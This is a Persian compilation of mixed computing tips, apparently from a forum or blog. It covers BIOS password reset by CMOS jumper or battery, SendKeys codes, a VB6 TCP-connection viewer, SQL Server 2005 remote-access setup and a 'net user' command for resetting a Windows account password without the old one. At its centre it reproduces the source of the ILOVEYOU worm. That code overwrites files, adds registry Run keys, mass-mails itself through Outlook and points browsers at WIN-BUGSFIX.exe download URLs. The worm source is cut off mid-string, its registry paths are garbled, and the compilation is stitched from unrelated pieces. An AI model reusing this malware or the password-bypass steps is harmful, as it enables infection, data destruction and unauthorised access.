توجه کنید که حرف اول برابرحرف O است نه عدد صفر.

روش سوم: روش سخت افزاری
اگر هنگامی که کامپیوتر روشن است به آن دسترسی ندارید یا رمز عبورهای قبلی کارساز نبود می توانید از روشهای سخت افزاری زیر استفاده کنید.
● استفاده از Jumper ها
بر روی تمام مادربردها یک Jumper است که از آن برای پاک کردن CMOS میتوانید استفاده کنید.کنار این jumper معمولا این عبارت دیده میشود Clr CMOS.
تنها کاری که شما میکنید این است که jumper را از پایه 1و2 درآورده و به پایه 3و4 نصب کنید و دوباره به حالت اول برگردانید. شما به همین سادگی میتوانید رمز عبور را پاک کنید.
● در آوردن باتری
میتوانید باتری دستگاهتان را که روی مادربرد است درآورده و دوباره جا بیاندازید در این حالت تمام اطلاعات CMOS به حالت پیش فرض برمیگردد. ولی توجه داشته باشید که جا انداختن باتری کمی مشکل است.
● عوض کردن آی سی ( Cheap CMOS )
اگر هیچ یک از روشهای بالا جواب نداد میتوانید آی سی CMOS را با یک آی سی از همان نوع عوض کنید یا از نوع برنامه ریزی کنید اینکار ابزار مخصوصی دارد و شرکتهای تعمیر کامپیوتر برای شما اینکار را خواهند کرد.

توجه: برای پیدا کردن آی سی CMOS میتوانید به دفترچه مادربرد خود مراجعه کنید.
در این روشها علاوه بر اینکه رمز عبور را پاک میکنید سایر اطلاعات نیز به حالت اولیه برمیگرد ولی نگران نباشید مشکلی نیست و شما میتوانید دوباره مشخصات کامپیوتر خود را در Setup وارد کنید.

send key

SendKeys Help
Key Code
------ --------
BACKSPACE {BACKSPACE}, {BS}, or {BKSP}
BREAK {BREAK}
CAPS LOCK {CAPSLOCK}
DEL or DELETE {DELETE} or {DEL}
DOWN ARROW {DOWN}
End {END}
ENTER {ENTER} or ~
ESC {ESC}
HELP {HELP}
HOME {HOME}
INS or INSERT {INSERT} or {INS}
Left ARROW {LEFT}
NUM LOCK {NUMLOCK}
Page DOWN {PGDN}
Page UP {PGUP}
Print Screen {PRTSC}
Right ARROW {RIGHT}
SCROLL LOCK {SCROLLLOCK}
Space { } note space between brackets
TAB {TAB}
UP ARROW {UP}
F1 {F1}
F2 {F2}
F3 {F3}
F4 {F4}
F5 {F5}
F6 {F6}
F7 {F7}
F8 {F8}
F9 {F9}
F10 {F10}
F11 {F11}
F12 {F12}
F13 {F13}
F14 {F14}
F15 {F15}
F16 {F16}

Alt-control-del اینا هم برا

Key Code
------ --------
Shift +
CTRL ^
ALT %

برا اینکه نشون بدید دو حرف ایی و سی با شیفت فشار داده شدن بنویسید

+(EC)

و برا اینکه بگید حرف ایی با شیفت ولی حرف سی بدون شیفت نوشته شده بنویسید

+EC.

اینم خیلی بدرد میخوره برااینکه بگید یه کلید رو چند دفعه فشار بده مثلا کلید چپ حرکتی رو 40 دفعه فشار بده بنویسید

{LEFT 40}

و

{h 10}

یعنی کلید اچ 10 بار فشار داده شده

نحوه نوشتن جاسوس شبکه و اینترنت

مقدمه :

هدف از تهیه این نوشتار آموزش چیزهایی است که تا بحال از ایرانی دریغ شده است . آیا تابحال فکر کرده اید چرا ایرانیان اینهمه در برنامه نویسی سردرگم هستند و هیچ نوع روش خاص وجود ندارد تا ایرانیان بتوانند بر اساس آن پیش بروند ؛

جاسوس

جاسوس به کسی میگویند که حواسش به برقراری ارتباط  و نوع برقراری ارتباط افراد باهم باشد و آن را بلافاصله به مافوق خودش گزارش کند و این یعنی جاسوسی کردن ؟؟؟

جاسوس شبکه

نرم افزاری است که وقتی دو کامپیوتر با هم گفتگو میکنند متوجه شده و اعلام میکند نمونه ای از یک جاسوس در زیر نمایش داده میشود.

همانگونه که مشاهده میشود این جاسوس در حال وارسی دور و اطراف خود میباشد و نحوه شناخت آن هم همان عینک دودی آن است

چگونه میتوان جاسوس شبکه نوشت :

آیا تا بحال به نحوه کار سیستم های فایروال (نرم افزارهای فایروال یا دیواره آتش) فکر کرده اید آیا تا بحال به ارتباطات شبکه ای اندیشیده اید

میدانید میتوان یک برنامه فایروال نوشت تا با نصب آن روی کامپیوتر شبکه از ارتباطات نا معقول جلوگیری کرد ؟

•  چگونه میتوان یک فایروال خوب نوشت ?

برای پاسخ به این سوال نخست باید پرسید :

1. من از کجا میتوانم بفهمم که یک کامپیوتر به سیستم من متصل شده است ؟
2. و هم اکنون این ارتباط در چه وضعیتی قرار دارد؟
3. آیا ارتباط قطع شده یا هنوز هم ارتباط برقرار است ؟
4. اینها سوالهایی است که قبل از فایروال نویسی باید بدانها پاسخ داد ؟

برای پاسخ به این سوالها باید نخست نحوه برقراری ارتباط را دانست

پس سوال نخست آنکه : نحوه برقراری ارتباط میان دو کامپیوتر چگونه میباشد

پس از پاسخ به این سوال سوال دومی مطرح میشود و آن اینکه : خوب چه کامپیوتر هایی به کامپیوتر من متصل هستند

و پس از آن باید بدنبال فایروال و بلوک کردن ارتباط بود

نحوه برقراری ارتباط میان دو کامپیوتر چگونه میباشد

هر ارتباطی نیاز به یک رابط و مرتبط کنند دارد برای نمونه همین زبان ؛ وقتی دو ایرانی با هم سخن میگویند با زبان پارسی که قراردادمشترک میان این دو میباشد سخن میگویند و اگر یک نفر ایرانی با یک فیلپینی بخواهد سخن بگوید باید با زبانی که میان آن دو مشترک میباشد سخن بگوید که هر دو بتوانند این را متوجه شوند(به این همان پروتکلProtocol  یا قرارداد نحوه سخن گفتن میگویند)  اما لب و زبان (منظور کام) همان وسیله ای است که با آن میتوان سخن گفت و این وسیله در هر دو نفر یکسان است و تنها راه برقراری ارتباط میان دو نفر همین لب و زبان میباشد به این درگاه ارتباطی میگویند .

دو کامپیوتر برای سخن گفتن نیز نیاز به وسیله ای دارند تا با هم سخن بگویند این نقش در یک کامپیوتر چگونه ایفا میشود ؟

وقتی دو فرد میخواهند با هم ارتباط برقرار کنند چگونه این کار را انجام میدهند این ارتباط به چه صورت میباشد دو نفر میتوانند با روشهای زیر با هم ارتباط برقرار کنند

• سخن گفتن
• نگاه کردن
• لمس کردن
• ...

همین موضوع نیز در کامپیوتر رعایت میشود اما با کمی تفاوت .

دو کامپیوتر برای برقراری ارتباط باید دو خصیصه را در نظر داشته باشند 

1. IP 
2. Port

• آی پی که یک خصیصه منحصر به فرد برای یک کامپیوتر میباشد یعنی هر کامپیوتر برای خود یک شماره آی پی دارد که برای خودش میباشدو هیچ کامپیوتر دیگری یافت نمیشود که مقدار آی پی آن همین مقدار باشد 
•  پورت شماره درگاهی است که دو کامپیوتر با هم میخواهند از طریق آن درگاه سخن بگویند

خوب با داشتن این دو اطلاعات میتوان دو کامپیوتر را با هم ارتباط داد

استاندارد ارتباطی میان دو کامپیوتر (البته در سری سیستم عامل ویندوز) وین سوکت(WinSocket) نام دارد و تقریبا در همه انواع ارتباطها از این استاندارد(که مشابه همان پرتکل است) استفاده میکند مثلا اینترنت اکسپلورر IE و شبکه دو نمونه کاملا بزرگ استفاده از این قرارداد یعنی وین سوکت میباشد

توابع API مرتبط با استاندارد وین سوکت :

این توابع همه در فایل wsock32.dll موجود میباشند

• Closesocket
• Connect
• Gethostbyname
• Gethostname
• Getsockopt
• Htons
• inet_addr
• inet_ntoa
• ntohs
• recv
• Send
• Setsockopt
• Socket
• WSAAsyncSelect
• WSACancelBlockingCall
• WSACleanup
• WSAGetLastError
• WSAIsBlocking
• WSAStartup

IP Helper چیست ؟

یک سری توابع مربوط به کار با آی پی درون یک فایل Dll با نام iphlpapi.dll قرار دارد

ما در اینجا فقط با یکی از این توابع کار داریم با نام GetTcpTable که در زیر نحوه تعریف کردن آن را مشاهد مینمایید:

Declare Function GetTcpTable Lib "iphlpapi.dll" (ByRef pTcpTable  As Any, ByRef pdwSize As Long, ByVal bOrder As Long) As Long

این تابع میتواند به ما مقادیر آی پی و پورتهایی که هم اکنون توسط ما یا کامپیوترهای دیگر اشغال گردیده را بدهد. حال به تعریف مقادیر پارامترهای این تابع میپردازیم:

• pTcpTable : تایپ از نوع MIB_TCPROW است که خود به صورت زیر تعریف میشود)در اینجا آدرس آن به تابع پاس داده میشود و لازم به ذکر است اگر مقدار صفر برای این پارامتر داده شود برگشتی مقدار حافظه مورد نیاز جهت دریافت اطلاعات را برمیگرداند در مثال زیر این قسمت کاملا مشخص است)

Private Type MIB_TCPROW

•     dwState As Long
•     dwLocalAddr As Long
•     dwLocalPort As Long
•     dwRemoteAddr As Long
•     dwRemotePort As Long
• End Type
• : dwState وضعیت فعلی ارتباط را مشخص میکند که میتواند مقادیر زیر باشد

نام مقدار	مقدار
MIB_TCP_STATE_CLOSED	1
MIB_TCP_STATE_LISTEN	2
MIB_TCP_STATE_SYN_SENT	3
MIB_TCP_STATE_SYN_RCVD	4
MIB_TCP_STATE_ESTAB	5
MIB_TCP_STATE_FIN_WAIT1	6
MIB_TCP_STATE_FIN_WAIT2	7
MIB_TCP_STATE_CLOSE_WAIT	8
MIB_TCP_STATE_CLOSING	9
MIB_TCP_STATE_LAST_ACK	10
MIB_TCP_STATE_TIME_WAIT	11
MIB_TCP_STATE_DELETE_TCB	12

• dwLocalAddr شماره آی پی لوکال را میدهد (بصورت یک عدد که ما باید آن را بصورت فرمت xxx.xxx.xxx.xxx در آوریم)
• dwLocalPort شماره پورت لوکال را میدهد
• dwRemoteAddr شماره آی پی هاست را میدهد (بصورت یک عدد که ما باید آن را بصورت فرمت xxx.xxx.xxx.xxx در آوریم)
• dwRemotePort شماره پورت هاست را میدهد

• فرم مورد نیاز :

  برای برنامه نویسی جاسوس شبکه باید نخست نیازها بررسی شود

  خوب ما چه چیز نیاز داریم

  • یک تایمر
  • یک لیست ویو
  • یک چک باکس

  اینها را برای چه میخواهیم خوب در زیر توضیح داده شده است

  تایمر: این را برای این نیاز داریم تا بتوانیم لحظه به لحظه با اسکن کردن ‘ آی پی های مرتبط را تشخیص دهیم . بهترین زمان برای اسکن کردن هر یک ثانیه میباشد

  لیست ویو : برای اینکه بتوانیم مقادیر مربوط به pTcpTable از تابع را نمایش دهیم . این لیست ویو باید شامل این هدرها باشد

  • Ip Local
  • Port Local
  • Ip Host
  • Port Host

  چک باکس : بعد از اجرای برنامه میبینید که یک سری پورتها توسط خود سیستم (سیستم شما) جهت استفاده های خاص مورد استفاده قرار گرفته که این ها همه یک خصلت مشترک دارند و آن لوکال آی پی آنها Local IP همه یا 0.0.0.0 و یا 127.0.0.1 میباشد با این چک باکس میخواهیم این اطلاعات اضافی را از نمایشمان حذف کنیم.

  برنامه ماجول فرم :

  نخست تعریف توابع و ثابتها

  نخست تعریف تایپ مورد نیاز

  Private Type MIB_TCPROW

      dwState As Long

      dwLocalAddr As Long

      dwLocalPort As Long

      dwRemoteAddr As Long

      dwRemotePort As Long

  End Type

  تعریف ثابتهای خطا

  Private Const ERROR_BUFFER_OVERFLOW = 111&

  Private Const ERROR_INVALID_PARAMETER = 87

  Private Const ERROR_NO_DATA = 232&

  Private Const ERROR_NOT_SUPPORTED = 50&

  Private Const ERROR_SUCCESS = 0&

  تعریف ثابتهای وضعیت ارتباط

  Private Const MIB_TCP_STATE_CLOSED = 1

  Private Const MIB_TCP_STATE_LISTEN = 2

  Private Const MIB_TCP_STATE_SYN_SENT = 3

  Private Const MIB_TCP_STATE_SYN_RCVD = 4

  Private Const MIB_TCP_STATE_ESTAB = 5

  Private Const MIB_TCP_STATE_FIN_WAIT1 = 6

  Private Const MIB_TCP_STATE_FIN_WAIT2 = 7

  Private Const MIB_TCP_STATE_CLOSE_WAIT = 8

  Private Const MIB_TCP_STATE_CLOSING = 9

  Private Const MIB_TCP_STATE_LAST_ACK = 10

  Private Const MIB_TCP_STATE_TIME_WAIT = 11

  Private Const MIB_TCP_STATE_DELETE_TCB = 12

  تعریف توابع مورد نیاز

  Private Declare Function GetTcpTable Lib "iphlpapi.dll" (ByRef pTcpTable As Any, _

  ByRef pdwSize As Long, ByVal bOrder As Long) As Long

  Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _

  (ByRef pDest As Any, ByRef pSource As Any, ByVal Length As Long)

  حال یک تابع نیاز داریم که یک عدد لانگ Long را بگیرد و تبدیل به یک رشته (استرینگ) با فرمت xxx.xxx.xxx.xxx نماید این تابع را در زیر تعریف میکنم

  Private Function GetIpFromLong(lngIPAddress As Long) As String

      '

      Dim arrIpParts(3) As Byte

      '    CopyMemory به لیست آی پی آی موجود در سایت نگاه کنید

      CopyMemory arrIpParts(0), lngIPAddress, 4

       GetIpFromLong = CStr(arrIpParts(0)) & "." & CStr(arrIpParts(1)) _

   & "." & CStr(arrIpParts(2)) & "." & CStr(arrIpParts(3))

   End Function

  حالا تابعی نیاز داریم تا وضعیت های پیشامده در ارتباط را بصورت یک رشته به ما برگرداند

  Private Function GetState(lngState As Long) As String

      '

      Select Case lngState

          Case MIB_TCP_STATE_CLOSED: GetState = "CLOSED"

          Case MIB_TCP_STATE_LISTEN: GetState = "LISTEN"

          Case MIB_TCP_STATE_SYN_SENT: GetState = "SYN_SENT"

          Case MIB_TCP_STATE_SYN_RCVD: GetState = "SYN_RCVD"

          Case MIB_TCP_STATE_ESTAB: GetState = "ESTAB"

          Case MIB_TCP_STATE_FIN_WAIT1: GetState = "FIN_WAIT1"

          Case MIB_TCP_STATE_FIN_WAIT2: GetState = "FIN_WAIT2"

          Case MIB_TCP_STATE_CLOSE_WAIT: GetState = "CLOSE_WAIT"

          Case MIB_TCP_STATE_CLOSING: GetState = "CLOSING"

          Case MIB_TCP_STATE_LAST_ACK: GetState = "LAST_ACK"

          Case MIB_TCP_STATE_TIME_WAIT: GetState = "TIME_WAIT"

          Case MIB_TCP_STATE_DELETE_TCB: GetState = "DELETE_TCB"

      End Select

      '

  End Function

  این تابع شماره پورت بازگشته را بصورت هگزا دسیمال برمیگرداند بنابر این باید یک تابع باشد تا عدد را به شماره پورت واقعی تبدیل کند که در زیر تعریف شده است .

  Private Function GetTcpPortNumber(DWord As Long) As Long

      GetTcpPortNumber = DWord / 256 + (DWord Mod 256) * 256

  End Function

  حال میرسیم به برنامه اصلی برنامه ای که بصورت زمانی اجرا میشود و آی پی های اسکن شده را نمایش میدهد این برنامه را در تایمرمان قرار میدهیم.

  Private Sub timNetWorkSpyer_Timer()

      '

      Dim arrBuffer() As Byte

      Dim lngSize As Long

      Dim lngRetVal As Long

      Dim lngRows As Long

      Dim i As Long

      Dim TcpTableRow As MIB_TCPROW

      Dim lvItem As ListItem

      '

      ListView1.ListItems.Clear

      '

      lngSize = 0

      '

      ' به ما مقدار حافظه مورد نیاز را میدهد lngSize در اینجا تابع اسکن آی پی ها را فرا خوانی میکنیم و مقدار برگشتی آن یعنی

      '  این مقدار بما کمک میکند که بر اساس آن حافظه در اختیار بگیریم

      ' Call the GetTcpTable just to get the buffer size into the lngSize variable

      lngRetVal = GetTcpTable(ByVal 0&, lngSize, 0)

      ' آیا با خطا روبروشده ایم

      If lngRetVal = ERROR_NOT_SUPPORTED Then

          '

          'This API works only on Win 98//2000 and NT4 with SP4

          MsgBox "IP Helper is not supported by this system."

          Exit Sub

          '

      End If

      '

      ' در اختیار گیری حافظه

      ReDim arrBuffer(0 To lngSize - 1) As Byte

      '

      ' فراخوانی تابع مجدد ولی اینبار دریافت مقدار مورد نیاز

      lngRetVal = GetTcpTable(arrBuffer(0), lngSize, 0)

      ' آیا با خطا روبروشده ایم نه پس

      If lngRetVal = ERROR_SUCCESS Then

          '

          ' چهار بایت نخست تعداد سطرهای برگشتی را مشخص میکند

          'The first 4 bytes contain the quantity of the table rows

          'Get that value to the lngRows variable

          CopyMemory lngRows, arrBuffer(0), 4

          '

          For i = 1 To lngRows

              ' هر سطر را در ساختار مربوط به آن کپی میکنیم

              'Copy the table row data to the TcpTableRow structure

              CopyMemory TcpTableRow, arrBuffer(4 + (i - 1) * Len(TcpTableRow)), Len(TcpTableRow)

              ' این قسمت مربوط به چک باکس روی فرم است

              If Not ((Check1.Value = vbChecked) And  ـ

  (GetIpFromLong(TcpTableRow.dwLocalAddr) = "0.0.0.0" Or  ـGetIpFromLong(TcpTableRow.dwLocalAddr) = "127.0.0.1")) Then

                  ' وحالا به لیست ویو مقادیر را اضافه میکنیم

                  With TcpTableRow

                      Set lvItem = ListView1.ListItems.Add(, , GetIpFromLong(.dwLocalAddr))

                      lvItem.SubItems(1) = GetTcpPortNumber(.dwLocalPort)

                      lvItem.SubItems(2) = GetIpFromLong(.dwRemoteAddr)

                      lvItem.SubItems(3) = GetTcpPortNumber(.dwRemotePort)

                      lvItem.SubItems(4) = GetState(.dwState)

                  End With

                  '

              End If

              '

          Next i

          '

      End If

      '

  End Sub

  مرحله پایانی نیز در آن لود فرم مقدار زیر را بنویسید

  Private Sub Form_Unload(Cancel As Integer)

      Unload Me

  End Sub

  حالا با اجرای برنامه همه آی پی های مرتبط با پورتها نمایش داده میشود

  این نرم افزار به چه دردی میخورد؟

  راستش را بخواهید به هیچ دردی

  نه این نرم افزار بسیار نیرومند است و میتواند شما را از شر افراد سود جو و هکر نجات دهد

  نمونه هایی از کاربردهای این نرم افزار به شرح زیر است

  ü     فهمیدن لحظه ای برقراری یک ارتباط ناخواسته (مثلا هکری به شما وصل شده باشد)

  ü     نوشتن برنامه فایروال برای خودتان تا از ارتباط میان پورتها خاص و یا آی پی های خاص با کامپیوتر خود جلوگیری کنید

  ü     و کاربردهایی دیگر که شاید شما بتوانید از آنها استفاده کنید

سورس ویروس I LOVE YOU


rem barok -loveletter(vbe)
rem by: spyder / [e-mail] / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting
HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel3

2
",dirsystem&"MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesWi
n32DLL",dirwin&"Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet
ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZn

m
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUG

SFIX
.exe"
end if
end if
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunWIN-BUGS

FI
X",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="

تغییر پسورد کاربر در ویندوز XP با Command Prompt

برای تغییر پسورد کاربران در ویندوز ایکس پی شما باید پسورد قبلی را داشته باشید تا بتوانید این کار انجام دهید، ولی بدون دانستن پسورد قبلی نیز این کار امکان پذیر است.

برای این کار وارد Command Prompt شوید و دستور زیر را بنویسید

net user Administrator 123456

با دستور بالا پسورد کاربر ادمین به ۱۲۳۴۵۶ تغییر می یابد. برای دیگر کاربران هم می توانید به جای Administrator نام کاربر مورد نظر رابنویسید.

میزان سازی SQL Server 2005

 را باز کرده و برروی SQL Server  در Object Explorer راست کلیک کنید

سپس Property  را انتخاب نموده تا پنجره زیر ظاهر شود.

در قسمت Select a page گزینه Security را کلیک کنید.

دقت داشته باشید که قسمت Server authentication در حالت SQL Server and Windows Authentication Mode قرار داشته باشد. به این حالت به اصطلاح Mix Mode گفته میشود.

در صورتی که Server authentication در حالت Windows Authentication قرار دارد و شما آن را به حالت SQL Server and Windows Authentication Mode  در می آورید، به خاطر داشته باشید که برای اعمال تغییرات یک بار باید  Windows Service مربوط به SQL را Restart کنید.

·  در قسمت Connection دقت کنید که Allow remote Connection to this Server تیک خورده باشد.

حالا پنجره Property  را تایید کنید.

·  از Start Programs SQL Server 2005 Configuration Tools SQL Server Configuration Manager را اجرا نمایید.

از Tree view سمت چپ Protocols for  MSSQLSERVER را کلیک کنید.

حالا از Panel سمت راست برروی TCP/IP راست کلیک کرده و گزینه Enable را کلیک کنید.

اکنون SQL Server شما این اجازه را میدهد تا کامپیوتر دیگری به آن به صورت Remote متصل گردد.

نکاتی که برای بالا بردن Security و تعریف دسترسی برای Login در SQL باید لحاظ شود، شامل

1. هرگز به کاربران و برنامه نویسان کلمه عبور SA را ندهید.

زیرا SA در حد System Users بوده و به همین دلیل دسترسی کامل حتی به Windows را هم دارا میباشد.

بهتر است برای هر Database یک Login Name با نام همان Database ساخته و فقط دسترسی به همان Database  را بدهید.

همچنین برای SA یک کلمه  عبور با حداقل دارای 12 کاراکتر، متشکل از حروف کوچک و بزرگ و اعداد انتخاب نمایید.

برای ساخت یک Login Name جدید کار های زیر را به ترتیب انجام دهید.

در Management Studio و در قسمت Object Explorer برروی Security کلیک کرده و شاخه های  Login را باز کنید.

برروی Login راست کلیک کرده و گزینه New Login  را انتخاب کنید.

در قسمت Login Name  نام Login جدید را نوشته و سپس گزینه SQL Authentication را کلیک کنید.

حالا برای این User در قسمتهای  Password و Confirm Password یک کلمه عبور با شرایط گفته شده برای کاربر  SAبنویسید.

لازم به ذکر است که بهتر است Login Name با نام Database که کاربر قرار است با آن کار کند یکی باشد.

            بعد تیک مربوط به Enforce Security Policy را بردارید.

حالا اقدام به ساخت Database  کنید.

1. به قسمت Databases برید در صورتی و یک Database جدید بسازید (در صورتی که بخواهید میتوانید این تغییرات را در قسمت Property یک Database موجود نیز انجام دهید).
2. نام Database را در قسمت  Database Name  نوشته و در قسمت Owner نام Login را که برای این Database ساخته بودیم را انتخاب کنید.

1. حالا از Tree View سمت چپ به قسمت Property بروید.
2. مطمعن شوید که Collation برروی Arabic_CI_AS تنظیم شده است.
3. پنج Property اول را نیز به ترتیب نشان داده شده در عکس تغییر دهید. یعنی به ترتیب False,False,True,False,False.

حالا SQL شما آمادست تا از دنیای بیرون به اون متصل بشوند.

برای تست اینکه آیا واقعاً کارهایی که انجام دادید درسته یا نه میتونید اینکارها رو انجام بدید.

1. یک فایل در هرکجا که مایلید و با هر اسمی اما با پسوند UDL بسازید.
2. برروی فایل دوبار کلیک کرده پنجره ای با شکل زیر ظاهر میگردد.

1. از تب Provider گزینه Microsoft OLE DB Provider For SQL Server  را انتخاب کرده و Next  را بزنید.
2. از تب Connection و در قسمت 1 نام کامپیوتر Server را وارد نمایید.
3. در قسمت 2 حالت Use a specific User Name and Password را انتخاب نموده و user name و  password را وارد نمایید .
4. گزینه Allow saving Password را تیک بزنید.
5. در قسمت 3 Database ی را که قصد وصل شدن به آن را دارید را انتخاب نموده و در نهایت  دکمه Test Connection را بزنید.
1. در صورتی که اتصال موفقیت آمیز باشد، به شما پیغام Success Full میدهد

یک آموزش توپ

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Sub SHChangeNotify Lib "shell32.dll" (ByVal wEventId As Long, ByVal uFlags As Long, dwItem1 As Any, dwItem2 As Any)

Private Sub Form_Load()

    Image1.Stretch = True

    Image1.Move 0, 0, Me.ScaleWidth, Me.ScaleHeight

    '

    RegisterFile ".BMP"

    RegisterFile ".JPG"

    RegisterFile ".GIF"

    RegisterFile ".WMF"

